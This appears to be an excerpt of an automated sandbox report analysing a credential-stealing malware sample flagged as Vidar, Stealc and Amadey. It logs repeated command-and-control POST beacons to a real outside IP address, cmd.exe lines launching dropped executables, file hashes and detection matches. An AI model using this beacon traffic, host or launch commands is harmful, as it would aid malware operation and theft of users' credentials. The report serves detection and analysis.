Jun 28, 2024 22:33:45.230365038 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:45.935010910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49827	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:46.062386036 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:46.769762039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49828	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:46.779588938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:47.479109049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49829	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:47.601499081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:48.315522909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49830	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:48.324820995 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:49.357855082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 28, 2024 22:33:49.362266064 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49831	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:49.475672007 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:50.190125942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49832	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:50.211678028 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:50.917840004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49833	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:51.038345098 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:51.727320910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49834	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:51.736002922 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:52.439223051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49835	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:52.554291964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:53.259306908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49836	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:53.268059015 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:53.992333889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49837	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:54.118532896 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:54.831770897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49838	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:54.840713024 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:55.540813923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49839	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:55.663738012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:56.493396997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49840	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:56.503624916 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:57.201567888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49841	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:57.323602915 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 22:33:58.012120008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49842	77.91.77.82	80	7292	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 22:33:58.021286964 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jun 28, 2024 22:33:58.749871016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 20:33:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Target ID:	0
Start time:	16:31:53
Start date:	28/06/2024
Path:	C:\Users\user\Desktop\1jPL5zru3u.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\1jPL5zru3u.exe"
Imagebase:	0xcb0000
File size:	2'509'824 bytes
MD5 hash:	B3BADD1CD2CBA4F587BD6737D34D3569
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1858205526.0000000000CB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1858205526.0000000000D56000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1860013089.00000000019F4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:32:14
Start date:	28/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:32:14
Start date:	28/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:32:14
Start date:	28/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FHJKKECFIE.exe"
Imagebase:	0x7ff70f330000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	16:32:14
Start date:	28/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:32:14
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"
Imagebase:	0x530000
File size:	1'899'520 bytes
MD5 hash:	41327F38F138A156BF02E81F5047DC06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1924963108.0000000000531000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1884034371.0000000004850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:32:18
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0xba0000
File size:	1'899'520 bytes
MD5 hash:	41327F38F138A156BF02E81F5047DC06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2898835808.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.1920034287.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:32:18
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xba0000
File size:	1'899'520 bytes
MD5 hash:	41327F38F138A156BF02E81F5047DC06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000003.1921777147.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.1962404330.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:33:00
Start date:	28/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0xba0000
File size:	1'899'520 bytes
MD5 hash:	41327F38F138A156BF02E81F5047DC06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2332547916.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.2373035840.0000000000BA1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	115
Total number of Limit Nodes:	13

Executed Functions

Function 6C3C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C44F688,00001000), ref: 6C3C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C3C363F
